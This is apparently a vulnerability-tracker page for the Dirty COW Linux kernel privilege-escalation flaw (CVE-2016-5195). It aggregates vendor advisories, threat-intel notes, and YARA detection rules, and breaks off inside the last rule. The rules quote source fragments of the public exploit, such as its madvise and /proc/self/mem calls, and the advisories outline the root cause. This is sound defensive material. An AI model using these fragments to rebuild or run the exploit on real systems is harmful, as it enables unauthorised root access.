CVE-2016-5195
published 2016-11-10CVE-2016-5195: Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a…
PriorityP190high7CVSS 3.1
AVLACHPRLUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-03-24
Exploited in the wild
EPSS
83.01%
99.6th percentile
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
Affected
49 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | linux | < linux 4.7.8-1 (bookworm) | linux 4.7.8-1 (bookworm) |
| debian | linux | < linux 6.0.2-1 (bookworm) | linux 6.0.2-1 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| android | — | — | |
| linux | linux | — | — |
| linux | linux | >= 9ae0f87d009ca6c4aab2882641ddfc319727e3db < 9def52eb10baab3b700858003d462fcf17d62873 | 9def52eb10baab3b700858003d462fcf17d62873 |
| linux | linux | >= 9ae0f87d009ca6c4aab2882641ddfc319727e3db < 5535be3099717646781ce1540cf725965d680e7b | 5535be3099717646781ce1540cf725965d680e7b |
| linux | linux_kernel | — | — |
| linux | linux_kernel | >= 0 < 4.7.8-1 | 4.7.8-1 |
| linux | linux_kernel | >= 0 < 6.0.2-1 | 6.0.2-1 |
| linux | linux_kernel | >= 0 < 4.7.8-1 | 4.7.8-1 |
| linux | linux_kernel | >= 0 < 6.0.2-1 | 6.0.2-1 |
| linux | linux_kernel | >= 0 < 4.7.8-1 | 4.7.8-1 |
| linux | linux_kernel | >= 0 < 6.0.2-1 | 6.0.2-1 |
| linux | linux_kernel | >= 0 < 4.7.8-1 | 4.7.8-1 |
| linux | linux_kernel | >= 2.6.22 < 3.2.83 | 3.2.83 |
| linux | linux_kernel | >= 3.11 < 3.12.66 | 3.12.66 |
Detection & IOCsextracted from sources · hover to see the quote
- →CVE-2016-5195 (Dirty COW) is actively exploited for privilege escalation on Linux systems by multiple threat actors including CL-STA-0969 (Liminal Panda overlap) and Earth Krahang; monitor for exploitation attempts on Linux hosts, especially in telecom and government environments. ↗
- →Earth Krahang exploits CVE-2016-5195 for privilege escalation on Linux systems alongside CVE-2021-4034 and CVE-2021-22555; correlate with post-exploitation activity on Linux government servers. ↗
- →CVE-2016-5195 POC exploit code appeared on Pastebin approximately six days after initial disclosure on October 19, 2016, and was available two weeks before NVD publication on November 10, 2016; treat any pre-patch window as high-risk for active exploitation. ↗
- →Within two days of CVE-2016-5195 disclosure, exploit information was translated to Russian and posted on a Russian criminal forum; monitor dark/deep web and criminal forums for early exploit discussion as an indicator of imminent weaponization. ↗
- →The root cause of CVE-2016-5195 involves a write-protected PTE being set dirty, allowing FOLL_FORCE to erroneously grant write access to R/O-mapped shared pages; detection should focus on unexpected write access to read-only memory mappings and COW bypass conditions. ↗
- ·CVE-2016-5195 (Dirty COW) exploitation via UFFDIO_CONTINUE/FOLL_FORCE path (CVE-2022-2590 variant) is limited to x86_64 and aarch64 architectures that support CONFIG_HAVE_ARCH_USERFAULTFD_MINOR. ↗
- ·The FinSpy exploitation of CVE-2016-5195 on Android requires the victim device to be running an outdated OS kernel; devices with patched kernels are not vulnerable to this specific attack vector. ↗
CVSS provenance
nvdv3.17.0HIGHCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
osv7.0HIGH
vulncheck7.0HIGH
cisa7.0HIGH
vendor_cisco7.0HIGH
vendor_debian7.0HIGH
vendor_redhat7.0HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
vendor_redhat·2025-06-18·CVSS 7.0
CVE-2022-50014 [HIGH] CWE-284 kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
In the Linux kernel, the following vulnerability has been resolved:
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know
that FOLL_FORCE can be possibly dangerous, especially if there are races
that can be exploited by user space.
Right now, it would be sufficient to have some code that sets a PTE of a
R/O-mapped shared page dirty, in order for it to erroneously become
writable by FOLL_FORCE. The implications of setting a write-protected PTE
dirty might not be immediately obvious to everyone.
And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set
pte dirty in mfill_atomic_install_pte"), we can use UFFDIO_CONTINUE to ma
CISA
Linux Kernel Race Condition Vulnerability
cisa·2022-03-03·CVSS 7.0
CVE-2016-5195 [HIGH] CWE-362 Linux Kernel Race Condition Vulnerability
Vulnerability: Linux Kernel Race Condition Vulnerability
Affected: Linux Kernel
Race condition in mm/gup.c in the Linux kernel allows local users to escalate privileges.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2016-5195
Remediation Due Date: 2022-03-24
Debian
CVE-2022-50014: linux - In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix...
vendor_debian·2022·CVSS 7.0
CVE-2022-50014 [HIGH] CVE-2022-50014: linux - In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix...
In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know that FOLL_FORCE can be possibly dangerous, especially if there are races that can be exploited by user space. Right now, it would be sufficient to have some code that sets a PTE of a R/O-mapped shared page dirty, in order for it to erroneously become writable by FOLL_FORCE. The implications of setting a write-protected PTE dirty might not be immediately obvious to everyone. And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set pte dirty in mfill_atomic_install_pte"), we can use UFFDIO_CONTINUE to map a shmem page R/O while marking the pte dirty. This can be used by unp
Cisco
Cisco TelePresence Video Communication Server Test Validation Script Issue
vendor_cisco·2018-11-07·CVSS 7.0
CVE-2016-5195 [HIGH] Cisco TelePresence Video Communication Server Test Validation Script Issue
Cisco TelePresence Video Communication Server Test Validation Script Issue
A failure in the final QA validation step of the automated software build system for the Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) software inadvertently allowed a set of sample, dormant exploit code used internally by Cisco in validation scripts to be included in shipping software images. This includes an exploit for the Dirty CoW vulnerability (CVE-2016-5195). The purpose of this QA validation step is to make sure the Cisco product contains the required fixes for this vulnerability.
The presence of the sample, dormant exploit code does not represent nor allow an exploitable vulnerability on the product, nor does it present a risk to the product itself as all of the required
Red Hat
kernel: pmd can become dirty without going through a COW cycle
vendor_redhat·2017-11-30·CVSS 7.0
CVE-2017-1000405 [HIGH] CWE-362 kernel: pmd can become dirty without going through a COW cycle
kernel: pmd can become dirty without going through a COW cycle
The Linux Kernel versions 2.6.38 through 4.14 have a problematic use of pmd_mkdirty() in the touch_pmd() function inside the THP implementation. touch_pmd() can be reached by get_user_pages(). In such case, the pmd will become dirty. This scenario breaks the new can_follow_write_pmd()'s logic - pmd can become dirty without going through a COW cycle. This bug is not as severe as the original "Dirty cow" because an ext4 file (or any other regular file) cannot be mapped using THP. Nevertheless, it does allow us to overwrite read-only huge pages. For example, the zero huge page and sealed shmem files can be overwritten (since their mapping can be populated using THP). Note that after the first write page-fault to the zero page, it
Palo Alto
Kernel Vulnerability
vendor_paloalto·2017-02-21·CVSS 7.0
CVE-2016-5195 [HIGH] CWE-362 Kernel Vulnerability
Kernel Vulnerability
A vulnerability exists in the kernel of PAN-OS that may result in an elevation of privilege. This issue is publicly known as Dirty COW (ref # PAN-68074 / CVE-2016-5195).
PAN-OS may be impacted by the Dirty COW (CVE-2016-5195) attack. A race condition was found in the way the Linux kernel's memory subsystem handles the copy-on-write breakage of private read-only memory mappings. An attacker would first require access to a shell on the device before they could use this exploit. Shell access is significantly restricted on the device. The Command Line Interface (CLI) is not shell access and therefore this issue cannot be exploited by the CLI.
This issue affects PAN-OS 5.1, PAN-OS 6.0, PAN-OS 6.1, PAN-OS 7.0.13, PAN-OS 7.1.7 and earlier
Affected products: PAN-OS
Solutio
Android
CVE-2016-5195: Android Security Bulletin 2016-11-01
CVE: CVE-2016-5195
Severity: CRITICAL
Affected AOSP versions: 3
vendor_android·2016-11-01·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195: Android Security Bulletin 2016-11-01
CVE: CVE-2016-5195
Severity: CRITICAL
Affected AOSP versions: 3
Android Security Bulletin 2016-11-01
CVE: CVE-2016-5195
Severity: CRITICAL
Affected AOSP versions: 3.10, 3.18
References: A-32141528
Upstream kernel
[2]
Cisco
Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
vendor_cisco·2016-10-26·CVSS 6.9
CVE-2016-5195 [MEDIUM] CWE-264 Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
On October 19, 2016, a new vulnerability related to a race condition in the memory manager of the Linux Kernel was disclosed. This vulnerability could allow unprivileged, local users to gain write access to otherwise read-only memory mappings to increase their privileges on the system.
Cisco has released software updates that address this vulnerability. For information about affected and fixed software releases, consult the Cisco bug IDs in the Vulnerable Products table.
This advisory is available at the following link:
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161026-linux
Ubuntu
Linux kernel (Raspberry Pi 2) vulnerability
vendor_ubuntu·2016-10-24
CVE-2016-5195 Linux kernel (Raspberry Pi 2) vulnerability
Title: Linux kernel (Raspberry Pi 2) vulnerability
Summary: The system could be made to run programs as an administrator.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtua
Ubuntu
Linux kernel (Xenial HWE) vulnerability
vendor_ubuntu·2016-10-20
CVE-2016-5195 Linux kernel (Xenial HWE) vulnerability
Title: Linux kernel (Xenial HWE) vulnerability
Summary: The system could be made to run programs as an administrator.
USN-3106-1 fixed vulnerabilities in the Linux kernel for Ubuntu 16.04
LTS. This update provides the corresponding updates for the Linux
Hardware Enablement (HWE) kernel from Ubuntu 16.04 LTS for Ubuntu
14.04 LTS.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you
Ubuntu
Linux kernel vulnerability
vendor_ubuntu·2016-10-20
CVE-2016-5195 Linux kernel vulnerability
Title: Linux kernel vulnerability
Summary: The system could be made to run programs as an administrator.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,
linux-powerpc)
Ubuntu
Linux kernel (Qualcomm Snapdragon) vulnerability
vendor_ubuntu·2016-10-20
CVE-2016-5195 Linux kernel (Qualcomm Snapdragon) vulnerability
Title: Linux kernel (Qualcomm Snapdragon) vulnerability
Summary: The system could be made to run programs as an administrator.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-v
Ubuntu
Linux kernel (Trusty HWE) vulnerability
vendor_ubuntu·2016-10-20
CVE-2016-5195 Linux kernel (Trusty HWE) vulnerability
Title: Linux kernel (Trusty HWE) vulnerability
Summary: The system could be made to run programs as an administrator.
USN-3105-1 fixed vulnerabilities in the Linux kernel for Ubuntu 14.04
LTS. This update provides the corresponding updates for the Linux
Hardware Enablement (HWE) kernel from Ubuntu 14.04 LTS for Ubuntu
12.04 LTS.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you
Ubuntu
Linux kernel (OMAP4) vulnerability
vendor_ubuntu·2016-10-20
CVE-2016-5195 Linux kernel (OMAP4) vulnerability
Title: Linux kernel (OMAP4) vulnerability
Summary: The system could be made to run programs as an administrator.
It was discovered that a race condition existed in the memory manager of
the Linux kernel when handling copy-on-write breakage of private read-only
memory mappings. A local attacker could use this to gain administrative
privileges.
Instructions: After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,
linux-
Red Hat
kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
vendor_redhat·2016-10-19·CVSS 7.0
CVE-2016-5195 [HIGH] kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged, local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
Statement: This issue affects the Linux kernel packages as shipped with Red Hat Enterprise Linux 5, 6, 7 and MRG 2.x. This issue has been rated a
Debian
CVE-2016-5195: linux - Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allo...
vendor_debian·2016·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195: linux - Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allo...
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
Scope: local
bookworm: resolved (fixed in 4.7.8-1)
bullseye: resolved (fixed in 4.7.8-1)
forky: resolved (fixed in 4.7.8-1)
sid: resolved (fixed in 4.7.8-1)
trixie: resolved (fixed in 4.7.8-1)
Cisco
Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
vendor_cisco
CVE-2016-5195 Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
CVE-2016-5195: Vulnerability in Linux Kernel Affecting Cisco Products: October 2016
On October 19, 2016, a new vulnerability related to a race condition in the memory manager of the Linux Kernel was disclosed. This vulnerability could allow unprivileged, local users to gain write access to otherwise read-only memory mappings to increase their privileges on the system. Cisco has released software updates that address this vulnerability. For information about affected and fixed software releases, consult the Cisco bug IDs in the
CWE: CWE-264, CWE-264
Bug IDs: CSCvb85490, CSCvb85516, CSCvb85528, CSCvb85490, CSCvb85516
GHSA
GHSA-66cr-wxhm-p423: In the Linux kernel, the following vulnerability has been resolved:
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dir
ghsa_unreviewed·2025-06-18·CVSS 7.0
CVE-2022-50014 [HIGH] CWE-362 GHSA-66cr-wxhm-p423: In the Linux kernel, the following vulnerability has been resolved:
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dir
In the Linux kernel, the following vulnerability has been resolved:
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know
that FOLL_FORCE can be possibly dangerous, especially if there are races
that can be exploited by user space.
Right now, it would be sufficient to have some code that sets a PTE of a
R/O-mapped shared page dirty, in order for it to erroneously become
writable by FOLL_FORCE. The implications of setting a write-protected PTE
dirty might not be immediately obvious to everyone.
And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set
pte dirty in mfill_atomic_install_pte"), we can use UFFDIO_CONTINUE to map
a shmem page R/O while marking the pte dirty. This can be used by
OSV
CVE-2022-50014: In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW Ever since the Dirty
osv·2025-06-18·CVSS 7.0
CVE-2022-50014 [HIGH] CVE-2022-50014: In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW Ever since the Dirty
In the Linux kernel, the following vulnerability has been resolved: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know that FOLL_FORCE can be possibly dangerous, especially if there are races that can be exploited by user space. Right now, it would be sufficient to have some code that sets a PTE of a R/O-mapped shared page dirty, in order for it to erroneously become writable by FOLL_FORCE. The implications of setting a write-protected PTE dirty might not be immediately obvious to everyone. And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set pte dirty in mfill_atomic_install_pte"), we can use UFFDIO_CONTINUE to map a shmem page R/O while marking the pte dirty. This can be used by unp
Kernel
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
kernel_security·2022-08-09·CVSS 7.0
CVE-2016-5195 [HIGH] mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know
that FOLL_FORCE can be possibly dangerous, especially if there are races
that can be exploited by user space.
Right now, it would be sufficient to have some code that sets a PTE of a
R/O-mapped shared page dirty, in order for it to erroneously become
writable by FOLL_FORCE. The implications of setting a write-protected PTE
dirty might not be immediately obvious to everyone.
And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set
pte dirty in mfill_atomic_install_pte"), we can use UFFDIO_CONTINUE to map
a shmem page R/O while marking the pte dirty. This can be used by
unprivileged user space to modify tmpfs/shmem file content even if t
GHSA
GHSA-j68w-7qm9-fjqq: Race condition in mm/gup
ghsa_unreviewed·2022-05-13
CVE-2016-5195 [HIGH] CWE-362 GHSA-j68w-7qm9-fjqq: Race condition in mm/gup
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
Project0
In-the-Wild Series: Android Exploits - Project Zero
project_zero·2021-01-01·CVSS 7.8
CVE-2015-0569 [HIGH] In-the-Wild Series: Android Exploits - Project Zero
This is part 4 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.
Posted by Mark Brand, Project Zero
A survey of the exploitation techniques used by a high-tier attacker against Android devices in 2020
## Introduction
After one of the Chrome exploits has been successful, there are several (quite simple) stages of payload decryption that occur. Once we've got through that, we reach a much more complex binary that is clearly the result of some engineering work. Thanks to that engineering it's very simple for us to locate and examine the exploits embedded inside! For each privilege elevation, they have a function in the .init_array which will register it into a global
Project0
Detection Deficit: A Year in Review of 0-days Used In-The-Wild in 2019 - Project Zero
project_zero·2020-07-01
CVE-2016-5195 Detection Deficit: A Year in Review of 0-days Used In-The-Wild in 2019 - Project Zero
Posted by Maddie Stone, Project Zero
In May 2019, Project Zero released our tracking spreadsheet for 0-days used “in the wild” and we started a more focused effort on analyzing and learning from these exploits. This is another way Project Zero is trying to make zero-day hard. This blog post synthesizes many of our efforts and what we’ve seen over the last year. We provide a review of what we can learn from 0-day exploits detected as used in the wild in 2019. In conjunction with this blog post, we are also publishing another blog post today about our root cause analysis work that informed the conclusions in this Year in Review. We are also releasing 8 root cause analyses that we have done for in-the-wild 0-days from 2019.
When I had the idea for this “Year in Review” blog post, I immedi
Project0
Taking a page from the kernel's book: A TLB issue in mremap() - Project Zero
project_zero·2019-01-01·CVSS 7.0
CVE-2016-5195 [HIGH] Taking a page from the kernel's book: A TLB issue in mremap() - Project Zero
Posted by Jann Horn, Project Zero
This is a technical blog post about TLB flushing bugs in kernels, intended for people interested in kernel security and memory management.
Introduction: Bugs in Memory Management code
There have been some pretty scary bugs in memory management in the past, like:
-
CVE-2016-5195, a logic bug in the Linux kernel that permitted writing to shared read-only pages
-
CVE-2018-1038, a Windows bug that existed for about two months, where a bit was set incorrectly in a page table, permitting userspace to overwrite page tables
Memory management is one of the core functions that every kernel and hypervisor needs to implement; and the correctness of memory management code is very important to the security of the entire system. I hope that this post encourages
OSV
CVE-2016-5195: Race condition in mm/gup
osv·2016-11-10·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195: Race condition in mm/gup
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
VulnCheck
Linux Kernel Race Condition Vulnerability
vulncheck·2016·CVSS 7.0
CVE-2016-5195 [HIGH] CWE-362 Linux Kernel Race Condition Vulnerability
Linux Kernel Race Condition Vulnerability
Race condition in mm/gup.c in the Linux kernel allows local users to escalate privileges.
Affected: Linux Kernel
Required Action: Apply updates per vendor instructions.
Exploitation References: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit; https://www.cve.org/CVERecord?id=CVE-2016-5195; https://nvd.nist.gov/vuln/detail/cve-2016-5195; https://dl.acm.org/doi/pdf/10.1145/3465481.3465758; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.akamai.com/blog/security-research/new-sophisticated-magento-campaign-xurum-webshell; https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html; https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-ali
YARA
Linux_Exploit_CVE_2016_5195_ab87c1ed
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_ab87c1ed
rule Linux_Exploit_CVE_2016_5195_ab87c1ed {
meta:
author = "Elastic Security"
id = "ab87c1ed-f538-4785-b7ae-5333a7ff2808"
fingerprint = "3bf2be85120ef3711dd3508bf8fcd573a70c7ad4a5066be1b60d777a53cd37b6"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "c13c32d3a14cbc9c2580b1c76625cce8d48c5ae683230149a3f41640655e7f28"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { FF FF 88 45 EF 80 7D EF FF 75 D6 B8 ?? ?? 04 08 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_ffa7f059
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_ffa7f059
rule Linux_Exploit_CVE_2016_5195_ffa7f059 {
meta:
author = "Elastic Security"
id = "ffa7f059-b825-4dd6-b10d-e57549a2704f"
fingerprint = "c451689042d9290d1bb5b931e002237584217bbddfc0d96c2486a61cb5c37d31"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E D7 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_d41c2c63
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_d41c2c63
rule Linux_Exploit_CVE_2016_5195_d41c2c63 {
meta:
author = "Elastic Security"
id = "d41c2c63-1af7-47c9-88a0-16454c9583db"
fingerprint = "77fb7e9911d1037bba0a718d8983a42ad1877c13d865ce415351d599064ea7ea"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "a4e5751b4e8fa2e9b70e1e234f435a03290c414f9547dc7709ce2ee4263a35f1"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { F4 83 45 F0 01 81 7D F0 FF C1 EB 0B 7E D3 C9 C3 }
condition:
all of them
}
YARA
Linux_DirtyCow_Exploit
yara·CVSS 6.9
CVE-2012-0056 [MEDIUM] Linux_DirtyCow_Exploit
rule Linux_DirtyCow_Exploit {
meta:
description = "Detects Linux Dirty Cow Exploit - CVE-2012-0056 and CVE-2016-5195"
author = "Florian Roth"
reference = "http://dirtycow.ninja/"
date = "2016-10-21"
strings:
$a1 = { 48 89 D6 41 B9 00 00 00 00 41 89 C0 B9 02 00 00 00 BA 01 00 00 00 BF 00 00 00 00 }
$b1 = { E8 ?? FC FF FF 48 8B 45 E8 BE 00 00 00 00 48 89 C7 E8 ?? FC FF FF 48 8B 45 F0 BE 00 00 00 00 48 89 }
$b2 = { E8 ?? FC FF FF B8 00 00 00 00 }
$source1 = "madvise(map,100,MADV_DONTNEED);"
$source2 = "=open(\"/proc/self/mem\",O_RDWR);"
$source3 = ",map,SEEK_SET);"
$source_printf1 = "mmap %x"
$source_printf2 = "procselfmem %d"
$source_printf3 = "madvise %d"
$source_printf4 = "[-] failed to patch payload"
$source_printf5 = "[-] failed to win race condition..."
$source_printf6 = "[*] waiting
YARA
Linux_Exploit_CVE_2016_5195_7448814c
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_7448814c
rule Linux_Exploit_CVE_2016_5195_7448814c {
meta:
author = "Elastic Security"
id = "7448814c-1685-45a9-9a00-039b30485545"
fingerprint = "25ffa8f3b2356deebc88d8831bc8664edd6543a7d722d6ddd72e89fad18c66e7"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "e95d0783b635e34743109d090af17aef2e507e8c90060d171e71d9ac79e083ba"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 9C 01 7E 24 48 8B 45 90 48 8B 40 08 48 89 45 C0 48 8B 45 C0 48 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_9190d516
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_9190d516
rule Linux_Exploit_CVE_2016_5195_9190d516 {
meta:
author = "Elastic Security"
id = "9190d516-dea0-4d74-9f2c-bd2337538258"
fingerprint = "977bafd175a994edaef5f3fa19d19fe161cebb2447ee32fd5d4b0a3b93fb51fa"
creation_date = "2021-01-12"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "837ffed1f23293dc9c7cb994601488fc121751a249ffde51326947c33c5fca7f"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { 4D 18 48 8B 55 10 48 8B 75 F0 48 8B 45 F8 48 83 EC 08 41 51 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_b45098df
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_b45098df
rule Linux_Exploit_CVE_2016_5195_b45098df {
meta:
author = "Elastic Security"
id = "b45098df-7f26-44a9-8078-f1c05d15cc38"
fingerprint = "ed32e66f2c18b16a6f00d6a696a32cdb1b0b18413b4c1af059097f5d301ee084"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "e053aca86570b3781b3e08daab51382712270d2a375257c8b5789d3d87149314"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"
strings:
$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E D7 }
condition:
all of them
}
YARA
Linux_Exploit_CVE_2016_5195_f1c0482a
yara·CVSS 7.0
CVE-2016-5195 [HIGH] Linux_Exploit_CVE_2016_5195_f1c0482a
rule Linux_Exploit_CVE_2016_5195_f1c0482a {
meta:
author = "Elastic Security"
id = "f1c0482a-fe88-4777-8d49-aa782bf25a98"
fingerprint = "96d1ed843aeb59dd43dd76f4edd9e9928dd29f86df87b70d875473b9d908e75c"
creation_date = "2021-04-06"
last_modified = "2021-09-16"
threat_name = "Linux.Exploit.CVE-2016-5195"
reference_sample = "a12a1e8253ee1244b018fd3bdcb6b7729dfe16e06aed470f6b08344a110a4061"
severity = 100
arch_context = "x86"
